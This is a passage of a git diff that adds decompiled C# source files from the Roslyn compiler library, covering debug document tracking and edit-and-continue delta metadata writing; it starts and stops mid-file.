IAssemblySymbolInternal item = referencedAssemblyAlias.AssemblySymbol; + ImmutableArray item2 = referencedAssemblyAlias.Aliases; + for (int i = 0; i < item2.Length; i++) + { + string text = item2[i]; + if (text != MetadataReferenceProperties.GlobalAlias && item2.IndexOf(text, 0, i) < 0) + { + instance.Add(new AssemblyReferenceAlias(text, Translate(item, context.Diagnostics))); + } + } + } + return instance.ToImmutableAndFree(); + } + + public IEnumerable GetAssemblyReferences(EmitContext context) + { + IAssemblyReference corLibraryReferenceToEmit = GetCorLibraryReferenceToEmit(context); + if (corLibraryReferenceToEmit != null) + { + yield return corLibraryReferenceToEmit; + } + if (OutputKind == OutputKind.NetModule) + { + yield break; + } + foreach (IAssemblyReference assemblyReferencesFromAddedModule in GetAssemblyReferencesFromAddedModules(context.Diagnostics)) + { + yield return assemblyReferencesFromAddedModule; + } + } + + public ImmutableArray GetResources(EmitContext context) + { + if (context.IsRefAssembly) + { + return ImmutableArray.Empty; + } + if (_lazyManagedResources.IsDefault) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (ResourceDescription manifestResource in ManifestResources) + { + instance.Add(manifestResource.ToManagedResource()); + } + if (OutputKind != OutputKind.NetModule) + { + AddEmbeddedResourcesFromAddedModules(instance, context.Diagnostics); + } + _lazyManagedResources = instance.ToImmutableAndFree(); + } + return _lazyManagedResources; + } + + internal void SetTestData(CompilationTestData testData) + { + TestData = testData; + testData.Module = this; + } + + public int GetTypeDefinitionGeneration(INamedTypeDefinition typeDef) + { + if (PreviousGeneration != null) + { + SymbolChanges encSymbolChanges = EncSymbolChanges; + if (encSymbolChanges.IsReplaced(typeDef)) + { + return CurrentGenerationOrdinal; + } + IDefinition definition = encSymbolChanges.DefinitionMap.MapDefinition(typeDef); + if (definition != null && PreviousGeneration.GenerationOrdinals.TryGetValue(definition, out var value)) + { + return value; + } + } + return 0; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/DebugDocumentsBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/DebugDocumentsBuilder.cs new file mode 100644 index 0000000..241a005 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/DebugDocumentsBuilder.cs @@ -0,0 +1,63 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit; + +internal sealed class DebugDocumentsBuilder +{ + private readonly ConcurrentDictionary _debugDocuments; + + private readonly ConcurrentCache<(string, string?), string> _normalizedPathsCache; + + private readonly SourceReferenceResolver? _resolver; + + internal int DebugDocumentCount => _debugDocuments.Count; + + internal IReadOnlyDictionary DebugDocuments => _debugDocuments; + + public DebugDocumentsBuilder(SourceReferenceResolver? resolver, bool isDocumentNameCaseSensitive) + { + _resolver = resolver; + _debugDocuments = new ConcurrentDictionary(isDocumentNameCaseSensitive ? StringComparer.Ordinal : StringComparer.OrdinalIgnoreCase); + _normalizedPathsCache = new ConcurrentCache<(string, string), string>(16); + } + + internal void AddDebugDocument(DebugSourceDocument document) + { + _debugDocuments.Add(document.Location, document); + } + + internal DebugSourceDocument? TryGetDebugDocument(string path, string basePath) + { + return TryGetDebugDocumentForNormalizedPath(NormalizeDebugDocumentPath(path, basePath)); + } + + internal DebugSourceDocument? TryGetDebugDocumentForNormalizedPath(string normalizedPath) + { + _debugDocuments.TryGetValue(normalizedPath, out DebugSourceDocument value); + return value; + } + + internal DebugSourceDocument GetOrAddDebugDocument(string path, string basePath, Func factory) + { + return _debugDocuments.GetOrAdd(NormalizeDebugDocumentPath(path, basePath), factory); + } + + internal string NormalizeDebugDocumentPath(string path, string? basePath) + { + if (_resolver == null) + { + return path; + } + (string, string) key = (path, basePath); + if (!_normalizedPathsCache.TryGetValue(key, out string value)) + { + value = _resolver.NormalizePath(path, basePath) ?? path; + _normalizedPathsCache.TryAdd(key, value); + } + return value; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/DebugInformationFormat.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/DebugInformationFormat.cs new file mode 100644 index 0000000..56c7afb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/DebugInformationFormat.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Emit; + +public enum DebugInformationFormat +{ + Pdb = 1, + PortablePdb, + Embedded +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/DebugInformationFormatExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/DebugInformationFormatExtensions.cs new file mode 100644 index 0000000..5303021 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/DebugInformationFormatExtensions.cs @@ -0,0 +1,22 @@ +namespace Microsoft.CodeAnalysis.Emit; + +internal static class DebugInformationFormatExtensions +{ + internal static bool IsValid(this DebugInformationFormat value) + { + if (value >= DebugInformationFormat.Pdb) + { + return value <= DebugInformationFormat.Embedded; + } + return false; + } + + internal static bool IsPortable(this DebugInformationFormat value) + { + if (value != DebugInformationFormat.PortablePdb) + { + return value == DebugInformationFormat.Embedded; + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/DefinitionMap.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/DefinitionMap.cs new file mode 100644 index 0000000..b040885 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/DefinitionMap.cs @@ -0,0 +1,306 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Linq; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit; + +internal abstract class DefinitionMap +{ + protected readonly struct MappedMethod(IMethodSymbolInternal previousMethod, Func? syntaxMap) + { + public readonly IMethodSymbolInternal PreviousMethod = previousMethod; + + public readonly Func? SyntaxMap = syntaxMap; + } + + private readonly ImmutableDictionary _methodInstrumentations; + + protected readonly IReadOnlyDictionary mappedMethods; + + protected abstract SymbolMatcher MapToMetadataSymbolMatcher { get; } + + protected abstract SymbolMatcher MapToPreviousSymbolMatcher { get; } + + internal abstract CommonMessageProvider MessageProvider { get; } + + protected DefinitionMap(IEnumerable edits) + { + mappedMethods = GetMappedMethods(edits); + _methodInstrumentations = edits.Where((SemanticEdit edit) => !edit.Instrumentation.IsEmpty).ToImmutableDictionary((SemanticEdit edit) => (IMethodSymbolInternal)GetISymbolInternalOrNull(edit.NewSymbol), (SemanticEdit edit) => edit.Instrumentation); + } + + private IReadOnlyDictionary GetMappedMethods(IEnumerable edits) + { + Dictionary dictionary = new Dictionary(); + foreach (SemanticEdit edit in edits) + { + if (edit.Kind == SemanticEditKind.Update && edit.PreserveLocalVariables && GetISymbolInternalOrNull(edit.NewSymbol) is IMethodSymbolInternal key && GetISymbolInternalOrNull(edit.OldSymbol) is IMethodSymbolInternal previousMethod) + { + dictionary.Add(key, new MappedMethod(previousMethod, edit.SyntaxMap)); + } + } + return dictionary; + } + + protected abstract ISymbolInternal? GetISymbolInternalOrNull(ISymbol symbol); + + internal IDefinition? MapDefinition(IDefinition definition) + { + IDefinition? definition2 = MapToPreviousSymbolMatcher.MapDefinition(definition); + if (definition2 == null) + { + if (MapToMetadataSymbolMatcher == MapToPreviousSymbolMatcher) + { + return null; + } + definition2 = MapToMetadataSymbolMatcher.MapDefinition(definition); + } + return definition2; + } + + internal INamespace? MapNamespace(INamespace @namespace) + { + INamespace? obj = MapToPreviousSymbolMatcher.MapNamespace(@namespace); + if (obj == null) + { + if (MapToMetadataSymbolMatcher == MapToPreviousSymbolMatcher) + { + return null; + } + obj = MapToMetadataSymbolMatcher.MapNamespace(@namespace); + } + return obj; + } + + internal bool DefinitionExists(IDefinition definition) + { + return MapDefinition(definition) != null; + } + + internal bool NamespaceExists(INamespace @namespace) + { + return MapNamespace(@namespace) != null; + } + + internal abstract bool TryGetTypeHandle(ITypeDefinition def, out TypeDefinitionHandle handle); + + internal abstract bool TryGetEventHandle(IEventDefinition def, out EventDefinitionHandle handle); + + internal abstract bool TryGetFieldHandle(IFieldDefinition def, out FieldDefinitionHandle handle); + + internal abstract bool TryGetMethodHandle(IMethodDefinition def, out MethodDefinitionHandle handle); + + internal abstract bool TryGetPropertyHandle(IPropertyDefinition def, out PropertyDefinitionHandle handle); + + private bool TryGetMethodHandle(EmitBaseline baseline, IMethodDefinition def, out MethodDefinitionHandle handle) + { + if (TryGetMethodHandle(def, out handle)) + { + return true; + } + IMethodDefinition methodDefinition = (IMethodDefinition)MapToPreviousSymbolMatcher.MapDefinition(def); + if (methodDefinition != null && baseline.MethodsAdded.TryGetValue(methodDefinition, out var value)) + { + handle = MetadataTokens.MethodDefinitionHandle(value); + return true; + } + handle = default(MethodDefinitionHandle); + return false; + } + + protected static IReadOnlyDictionary CreateDeclaratorToSyntaxOrdinalMap(ImmutableArray declarators) + { + Dictionary dictionary = new Dictionary(); + for (int i = 0; i < declarators.Length; i++) + { + dictionary.Add(declarators[i], i); + } + return dictionary; + } + + protected abstract void GetStateMachineFieldMapFromMetadata(ITypeSymbolInternal stateMachineType, ImmutableArray localSlotDebugInfo, out IReadOnlyDictionary hoistedLocalMap, out IReadOnlyDictionary awaiterMap, out int awaiterSlotCount); + + protected abstract ImmutableArray GetLocalSlotMapFromMetadata(StandaloneSignatureHandle handle, EditAndContinueMethodDebugInformation debugInfo); + + protected abstract ITypeSymbolInternal? TryGetStateMachineType(MethodDefinitionHandle methodHandle); + + internal VariableSlotAllocator? TryCreateVariableSlotAllocator(EmitBaseline baseline, Compilation compilation, IMethodSymbolInternal method, IMethodSymbolInternal topLevelMethod, DiagnosticBag diagnostics) + { + if (!mappedMethods.TryGetValue(topLevelMethod, out var value)) + { + return null; + } + if (!TryGetMethodHandle(baseline, (IMethodDefinition)method.GetCciAdapter(), out var handle)) + { + return null; + } + IReadOnlyDictionary hoistedLocalMap = null; + IReadOnlyDictionary awaiterMap = null; + IReadOnlyDictionary> lambdaMap = null; + IReadOnlyDictionary closureMap = null; + IReadOnlyDictionary<(int, AwaitDebugId), StateMachineState> map = null; + StateMachineState? firstUnusedIncreasingStateMachineState = null; + StateMachineState? firstUnusedDecreasingStateMachineState = null; + int hoistedLocalSlotCount = 0; + int awaiterSlotCount = 0; + string stateMachineTypeName = null; + int rowNumber = MetadataTokens.GetRowNumber(handle); + DebugId methodId; + ImmutableArray previousLocals; + SymbolMatcher symbolMap; + if (baseline.AddedOrChangedMethods.TryGetValue(rowNumber, out var value2)) + { + methodId = value2.MethodId; + MakeLambdaAndClosureMaps(value2.LambdaDebugInfo, value2.ClosureDebugInfo, out lambdaMap, out closureMap); + MakeStateMachineStateMap(value2.StateMachineStates.States, out map); + firstUnusedIncreasingStateMachineState = value2.StateMachineStates.FirstUnusedIncreasingStateMachineState; + firstUnusedDecreasingStateMachineState = value2.StateMachineStates.FirstUnusedDecreasingStateMachineState; + if (value2.StateMachineTypeName != null) + { + GetStateMachineFieldMapFromPreviousCompilation(value2.StateMachineHoistedLocalSlotsOpt, value2.StateMachineAwaiterSlotsOpt, out hoistedLocalMap, out awaiterMap); + hoistedLocalSlotCount = value2.StateMachineHoistedLocalSlotsOpt.Length; + awaiterSlotCount = value2.StateMachineAwaiterSlotsOpt.Length; + previousLocals = ImmutableArray.Empty; + stateMachineTypeName = value2.StateMachineTypeName; + } + else + { + previousLocals = value2.Locals; + } + symbolMap = MapToPreviousSymbolMatcher; + } + else + { + EditAndContinueMethodDebugInformation debugInfo; + StandaloneSignatureHandle standaloneSignatureHandle; + try + { + debugInfo = baseline.DebugInformationProvider(handle); + standaloneSignatureHandle = baseline.LocalSignatureProvider(handle); + } + catch (Exception ex) when (ex is InvalidDataException || ex is IOException) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_InvalidDebugInfo, method.Locations.First(), method, MetadataTokens.GetToken(handle), method.ContainingAssembly)); + return null; + } + methodId = new DebugId(debugInfo.MethodOrdinal, 0); + if (!debugInfo.Lambdas.IsDefaultOrEmpty) + { + MakeLambdaAndClosureMaps(debugInfo.Lambdas, debugInfo.Closures, out lambdaMap, out closureMap); + } + MakeStateMachineStateMap(debugInfo.StateMachineStates, out map); + if (!debugInfo.StateMachineStates.IsDefaultOrEmpty) + { + firstUnusedIncreasingStateMachineState = debugInfo.StateMachineStates.Max((StateMachineStateDebugInfo s) => s.StateNumber) + 1; + firstUnusedDecreasingStateMachineState = debugInfo.StateMachineStates.Min((StateMachineStateDebugInfo s) => s.StateNumber) - 1; + } + ITypeSymbolInternal typeSymbolInternal = TryGetStateMachineType(handle); + if (typeSymbolInternal != null) + { + ImmutableArray localSlotDebugInfo = debugInfo.LocalSlots.NullToEmpty(); + GetStateMachineFieldMapFromMetadata(typeSymbolInternal, localSlotDebugInfo, out hoistedLocalMap, out awaiterMap, out awaiterSlotCount); + hoistedLocalSlotCount = localSlotDebugInfo.Length; + previousLocals = ImmutableArray.Empty; + stateMachineTypeName = typeSymbolInternal.Name; + } + else + { + if (method.IsAsync) + { + if (compilation.CommonGetWellKnownTypeMember(WellKnownMember.System_Runtime_CompilerServices_AsyncStateMachineAttribute__ctor) == null) + { + ReportMissingStateMachineAttribute(diagnostics, method, AttributeDescription.AsyncStateMachineAttribute.FullName); + return null; + } + } + else if (method.IsIterator && compilation.CommonGetWellKnownTypeMember(WellKnownMember.System_Runtime_CompilerServices_IteratorStateMachineAttribute__ctor) == null) + { + ReportMissingStateMachineAttribute(diagnostics, method, AttributeDescription.IteratorStateMachineAttribute.FullName); + return null; + } + try + { + previousLocals = (standaloneSignatureHandle.IsNil ? ImmutableArray.Empty : GetLocalSlotMapFromMetadata(standaloneSignatureHandle, debugInfo)); + } + catch (Exception ex2) when (ex2 is UnsupportedSignatureContent || ex2 is BadImageFormatException || ex2 is IOException) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_InvalidDebugInfo, method.Locations.First(), method, MetadataTokens.GetToken(standaloneSignatureHandle), method.ContainingAssembly)); + return null; + } + } + symbolMap = MapToMetadataSymbolMatcher; + } + return new EncVariableSlotAllocator(symbolMap, value.SyntaxMap, value.PreviousMethod, methodId, previousLocals, lambdaMap, closureMap, stateMachineTypeName, hoistedLocalSlotCount, hoistedLocalMap, awaiterSlotCount, awaiterMap, map, firstUnusedIncreasingStateMachineState, firstUnusedDecreasingStateMachineState, GetLambdaSyntaxFacts()); + } + + internal MethodInstrumentation GetMethodBodyInstrumentations(IMethodSymbolInternal method) + { + if (!_methodInstrumentations.TryGetValue(method, out var value)) + { + return MethodInstrumentation.Empty; + } + return value; + } + + protected abstract LambdaSyntaxFacts GetLambdaSyntaxFacts(); + + private void ReportMissingStateMachineAttribute(DiagnosticBag diagnostics, IMethodSymbolInternal method, string stateMachineAttributeFullName) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_EncUpdateFailedMissingAttribute, method.Locations.First(), MessageProvider.GetErrorDisplayString(method.GetISymbol()), stateMachineAttributeFullName)); + } + + private static void MakeLambdaAndClosureMaps(ImmutableArray lambdaDebugInfo, ImmutableArray closureDebugInfo, out IReadOnlyDictionary> lambdaMap, out IReadOnlyDictionary closureMap) + { + Dictionary> dictionary = new Dictionary>(lambdaDebugInfo.Length); + Dictionary dictionary2 = new Dictionary(closureDebugInfo.Length); + for (int i = 0; i < lambdaDebugInfo.Length; i++) + { + LambdaDebugInfo lambdaDebugInfo2 = lambdaDebugInfo[i]; + dictionary[lambdaDebugInfo2.SyntaxOffset] = KeyValuePairUtil.Create(lambdaDebugInfo2.LambdaId, lambdaDebugInfo2.ClosureOrdinal); + } + for (int j = 0; j < closureDebugInfo.Length; j++) + { + ClosureDebugInfo closureDebugInfo2 = closureDebugInfo[j]; + dictionary2[closureDebugInfo2.SyntaxOffset] = closureDebugInfo2.ClosureId; + } + lambdaMap = dictionary; + closureMap = dictionary2; + } + + private static void MakeStateMachineStateMap(ImmutableArray debugInfos, out IReadOnlyDictionary<(int syntaxOffset, AwaitDebugId debugId), StateMachineState>? map) + { + map = (debugInfos.IsDefault ? null : debugInfos.ToDictionary((StateMachineStateDebugInfo entry) => (SyntaxOffset: entry.SyntaxOffset, AwaitId: entry.AwaitId), (StateMachineStateDebugInfo entry) => entry.StateNumber)); + } + + private static void GetStateMachineFieldMapFromPreviousCompilation(ImmutableArray hoistedLocalSlots, ImmutableArray hoistedAwaiters, out IReadOnlyDictionary hoistedLocalMap, out IReadOnlyDictionary awaiterMap) + { + Dictionary dictionary = new Dictionary(); + Dictionary dictionary2 = new Dictionary(SymbolEquivalentEqualityComparer.Instance); + for (int i = 0; i < hoistedLocalSlots.Length; i++) + { + EncHoistedLocalInfo key = hoistedLocalSlots[i]; + if (!key.IsUnused) + { + dictionary.Add(key, i); + } + } + for (int j = 0; j < hoistedAwaiters.Length; j++) + { + ITypeReference typeReference = hoistedAwaiters[j]; + if (typeReference != null) + { + dictionary2.Add(typeReference, j); + } + } + hoistedLocalMap = dictionary; + awaiterMap = dictionary2; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/DeltaMetadataWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/DeltaMetadataWriter.cs new file mode 100644 index 0000000..bb6ac6f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/DeltaMetadataWriter.cs @@ -0,0 +1,1446 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Emit.EditAndContinue; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit; + +internal sealed class DeltaMetadataWriter : MetadataWriter +{ + private abstract class DefinitionIndexBase where T : notnull + { + protected readonly Dictionary added; + + protected readonly List rows; + + private readonly int _firstRowId; + + private bool _frozen; + + public int FirstRowId => _firstRowId; + + public int NextRowId => added.Count + _firstRowId; + + public bool IsFrozen => _frozen; + + public DefinitionIndexBase(int lastRowId, IEqualityComparer? comparer = null) + { + added = new Dictionary(comparer); + rows = new List(); + _firstRowId = lastRowId + 1; + } + + public abstract bool TryGetRowId(T item, out int rowId); + + public int GetRowId(T item) + { + TryGetRowId(item, out var rowId); + return rowId; + } + + public bool Contains(T item) + { + int rowId; + return TryGetRowId(item, out rowId); + } + + public IReadOnlyDictionary GetAdded() + { + Freeze(); + return added; + } + + public IReadOnlyList GetRows() + { + Freeze(); + return rows; + } + + protected virtual void OnFrozen() + { + } + + private void Freeze() + { + if (!_frozen) + { + _frozen = true; + OnFrozen(); + } + } + } + + private sealed class DefinitionIndex : DefinitionIndexBase where T : class, IDefinition + { + public delegate bool TryGetExistingIndex(T item, out int index); + + private readonly TryGetExistingIndex _tryGetExistingIndex; + + private readonly Dictionary _map; + + public DefinitionIndex(TryGetExistingIndex tryGetExistingIndex, int lastRowId) + : base(lastRowId, (IEqualityComparer?)Roslyn.Utilities.ReferenceEqualityComparer.Instance) + { + _tryGetExistingIndex = tryGetExistingIndex; + _map = new Dictionary(); + } + + public override bool TryGetRowId(T item, out int index) + { + if (added.TryGetValue(item, out index)) + { + return true; + } + if (_tryGetExistingIndex(item, out index)) + { + _map[index] = item; + return true; + } + return false; + } + + public T GetDefinition(int rowId) + { + return _map[rowId]; + } + + public void Add(T item) + { + int nextRowId = base.NextRowId; + added.Add(item, nextRowId); + _map[nextRowId] = item; + rows.Add(item); + } + + public void AddUpdated(T item) + { + rows.Add(item); + } + + public bool IsAddedNotChanged(T item) + { + return added.ContainsKey(item); + } + + protected override void OnFrozen() + { + rows.Sort((T x, T y) => GetRowId(x).CompareTo(GetRowId(y))); + } + } + + private sealed class GenericParameterIndex : DefinitionIndexBase + { + public GenericParameterIndex(int lastRowId) + : base(lastRowId, (IEqualityComparer?)Roslyn.Utilities.ReferenceEqualityComparer.Instance) + { + } + + public override bool TryGetRowId(IGenericParameter item, out int index) + { + return added.TryGetValue(item, out index); + } + + public void Add(IGenericParameter item) + { + int nextRowId = base.NextRowId; + added.Add(item, nextRowId); + rows.Add(item); + } + } + + private sealed class EventOrPropertyMapIndex : DefinitionIndexBase + { + public delegate bool TryGetExistingIndex(int item, out int index); + + private readonly TryGetExistingIndex _tryGetExistingIndex; + + public EventOrPropertyMapIndex(TryGetExistingIndex tryGetExistingIndex, int lastRowId) + : base(lastRowId, (IEqualityComparer?)null) + { + _tryGetExistingIndex = tryGetExistingIndex; + } + + public override bool TryGetRowId(int item, out int index) + { + if (added.TryGetValue(item, out index)) + { + return true; + } + if (_tryGetExistingIndex(item, out index)) + { + return true; + } + index = 0; + return false; + } + + public void Add(int item) + { + int nextRowId = base.NextRowId; + added.Add(item, nextRowId); + rows.Add(item); + } + } + + private sealed class MethodImplIndex : DefinitionIndexBase + { + private readonly DeltaMetadataWriter _writer; + + public MethodImplIndex(DeltaMetadataWriter writer, int lastRowId) + : base(lastRowId, (IEqualityComparer?)null) + { + _writer = writer; + } + + public override bool TryGetRowId(MethodImplKey item, out int index) + { + if (added.TryGetValue(item, out index)) + { + return true; + } + if (_writer.TryGetExistingMethodImplIndex(item, out index)) + { + return true; + } + index = 0; + return false; + } + + public void Add(MethodImplKey item) + { + int nextRowId = base.NextRowId; + added.Add(item, nextRowId); + rows.Add(item); + } + } + + private sealed class DeltaReferenceIndexer : ReferenceIndexer + { + private readonly SymbolChanges _changes; + + private readonly IReadOnlyDictionary> _deletedTypeMembers; + + public DeltaReferenceIndexer(DeltaMetadataWriter writer) + : base(writer) + { + _changes = writer._changes; + _deletedTypeMembers = writer._deletedTypeMembers; + } + + public override void Visit(CommonPEModuleBuilder module) + { + Visit(module.GetTopLevelTypeDefinitions(metadataWriter.Context)); + } + + public override void Visit(IEventDefinition eventDefinition) + { + base.Visit(eventDefinition); + } + + public override void Visit(IFieldDefinition fieldDefinition) + { + base.Visit(fieldDefinition); + } + + public override void Visit(ILocalDefinition localDefinition) + { + if (localDefinition.Signature == null) + { + base.Visit(localDefinition); + } + } + + public override void Visit(IMethodDefinition method) + { + base.Visit(method); + } + + public override void Visit(Microsoft.Cci.MethodImplementation methodImplementation) + { + IMethodDefinition def = (IMethodDefinition)methodImplementation.ImplementingMethod.AsDefinition(Context); + if (_changes.GetChange(def) == SymbolChange.Added) + { + base.Visit(methodImplementation); + } + } + + public override void Visit(INamespaceTypeDefinition namespaceTypeDefinition) + { + base.Visit(namespaceTypeDefinition); + } + + public override void Visit(INestedTypeDefinition nestedTypeDefinition) + { + base.Visit(nestedTypeDefinition); + } + + public override void Visit(IPropertyDefinition propertyDefinition) + { + base.Visit(propertyDefinition); + } + + public override void Visit(ITypeDefinition typeDefinition) + { + if (ShouldVisit(typeDefinition)) + { + base.Visit(typeDefinition); + if (_deletedTypeMembers.TryGetValue(typeDefinition, out ImmutableArray value)) + { + Visit(value); + } + } + } + + public override void Visit(ITypeDefinitionMember typeMember) + { + if (ShouldVisit(typeMember)) + { + base.Visit(typeMember); + } + } + + private bool ShouldVisit(IDefinition def) + { + if (!(def is DeletedMethodDefinition)) + { + return _changes.GetChange(def) != SymbolChange.None; + } + return true; + } + } + + private readonly EmitBaseline _previousGeneration; + + private readonly Guid _encId; + + private readonly DefinitionMap _definitionMap; + + private readonly SymbolChanges _changes; + + private readonly List _changedTypeDefs; + + private readonly Dictionary _typesUsedByDeletedMembers; + + private readonly Dictionary> _deletedTypeMembers; + + private readonly DefinitionIndex _typeDefs; + + private readonly DefinitionIndex _eventDefs; + + private readonly DefinitionIndex _fieldDefs; + + private readonly DefinitionIndex _methodDefs; + + private readonly DefinitionIndex _propertyDefs; + + private readonly DefinitionIndex _parameterDefs; + + private readonly Dictionary _parameterDefList; + + private readonly GenericParameterIndex _genericParameters; + + private readonly EventOrPropertyMapIndex _eventMap; + + private readonly EventOrPropertyMapIndex _propertyMap; + + private readonly MethodImplIndex _methodImpls; + + private readonly Dictionary _customAttributeParentCounts; + + private readonly Dictionary> _customAttributesAdded; + + private readonly Dictionary _existingParameterDefs; + + private readonly Dictionary _firstParamRowMap; + + private readonly HeapOrReferenceIndex _assemblyRefIndex; + + private readonly HeapOrReferenceIndex _moduleRefIndex; + + private readonly InstanceAndStructuralReferenceIndex _memberRefIndex; + + private readonly InstanceAndStructuralReferenceIndex _methodSpecIndex; + + private readonly TypeReferenceIndex _typeRefIndex; + + private readonly InstanceAndStructuralReferenceIndex _typeSpecIndex; + + private readonly HeapOrReferenceIndex _standAloneSignatureIndex; + + private readonly Dictionary _addedOrChangedMethods; + + protected override ushort Generation => (ushort)(_previousGeneration.Ordinal + 1); + + protected override Guid EncId => _encId; + + protected override Guid EncBaseId => _previousGeneration.EncId; + + protected override int GreatestMethodDefIndex => _methodDefs.NextRowId; + + public DeltaMetadataWriter(EmitContext context, CommonMessageProvider messageProvider, EmitBaseline previousGeneration, Guid encId, DefinitionMap definitionMap, SymbolChanges changes, CancellationToken cancellationToken) + : base(MakeTablesBuilder(previousGeneration), (context.Module.DebugInformationFormat == DebugInformationFormat.PortablePdb) ? new MetadataBuilder() : null, null, context, messageProvider, metadataOnly: false, deterministic: false, emitTestCoverageData: false, cancellationToken) + { + _previousGeneration = previousGeneration; + _encId = encId; + _definitionMap = definitionMap; + _changes = changes; + ImmutableArray tableSizes = previousGeneration.TableSizes; + _changedTypeDefs = new List(); + _typesUsedByDeletedMembers = new Dictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + _deletedTypeMembers = new Dictionary>(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + _typeDefs = new DefinitionIndex(TryGetExistingTypeDefIndex, tableSizes[2]); + _eventDefs = new DefinitionIndex(TryGetExistingEventDefIndex, tableSizes[20]); + _fieldDefs = new DefinitionIndex(TryGetExistingFieldDefIndex, tableSizes[4]); + _methodDefs = new DefinitionIndex(TryGetExistingMethodDefIndex, tableSizes[6]); + _propertyDefs = new DefinitionIndex(TryGetExistingPropertyDefIndex, tableSizes[23]); + _parameterDefs = new DefinitionIndex(TryGetExistingParameterDefIndex, tableSizes[8]); + _parameterDefList = new Dictionary(SymbolEquivalentEqualityComparer.Instance); + _genericParameters = new GenericParameterIndex(tableSizes[42]); + _eventMap = new EventOrPropertyMapIndex(TryGetExistingEventMapIndex, tableSizes[18]); + _propertyMap = new EventOrPropertyMapIndex(TryGetExistingPropertyMapIndex, tableSizes[21]); + _methodImpls = new MethodImplIndex(this, tableSizes[25]); + _customAttributeParentCounts = new Dictionary(); + _customAttributesAdded = new Dictionary>(); + _firstParamRowMap = new Dictionary(); + _existingParameterDefs = new Dictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + _assemblyRefIndex = new HeapOrReferenceIndex(this, tableSizes[35]); + _moduleRefIndex = new HeapOrReferenceIndex(this, tableSizes[26]); + _memberRefIndex = new InstanceAndStructuralReferenceIndex(this, new MemberRefComparer(this), tableSizes[10]); + _methodSpecIndex = new InstanceAndStructuralReferenceIndex(this, new MethodSpecComparer(this), tableSizes[43]); + _typeRefIndex = new TypeReferenceIndex(this, tableSizes[1]); + _typeSpecIndex = new InstanceAndStructuralReferenceIndex(this, new TypeSpecComparer(this), tableSizes[27]); + _standAloneSignatureIndex = new HeapOrReferenceIndex(this, tableSizes[17]); + _addedOrChangedMethods = new Dictionary(SymbolEquivalentEqualityComparer.Instance); + } + + private static MetadataBuilder MakeTablesBuilder(EmitBaseline previousGeneration) + { + return new MetadataBuilder(previousGeneration.UserStringStreamLength, previousGeneration.StringStreamLength, previousGeneration.BlobStreamLength, previousGeneration.GuidStreamLength); + } + + private ImmutableArray GetDeltaTableSizes(ImmutableArray rowCounts) + { + int[] array = new int[MetadataTokens.TableCount]; + rowCounts.CopyTo(array); + array[1] = _typeRefIndex.Rows.Count; + array[2] = _typeDefs.GetAdded().Count; + array[4] = _fieldDefs.GetAdded().Count; + array[6] = _methodDefs.GetAdded().Count; + array[8] = _parameterDefs.GetAdded().Count; + array[10] = _memberRefIndex.Rows.Count; + array[17] = _standAloneSignatureIndex.Rows.Count; + array[18] = _eventMap.GetAdded().Count; + array[20] = _eventDefs.GetAdded().Count; + array[21] = _propertyMap.GetAdded().Count; + array[23] = _propertyDefs.GetAdded().Count; + array[25] = _methodImpls.GetAdded().Count; + array[26] = _moduleRefIndex.Rows.Count; + array[27] = _typeSpecIndex.Rows.Count; + array[35] = _assemblyRefIndex.Rows.Count; + array[42] = _genericParameters.GetAdded().Count; + array[43] = _methodSpecIndex.Rows.Count; + return ImmutableArray.Create(array); + } + + internal EmitBaseline GetDelta(Compilation compilation, Guid encId, MetadataSizes metadataSizes) + { + Dictionary dictionary = new Dictionary(); + foreach (KeyValuePair addedOrChangedMethod in _addedOrChangedMethods) + { + dictionary.Add(MetadataTokens.GetRowNumber(GetMethodDefinitionHandle(addedOrChangedMethod.Key)), addedOrChangedMethod.Value); + } + ImmutableArray tableEntriesAdded = _previousGeneration.TableEntriesAdded; + ImmutableArray deltaTableSizes = 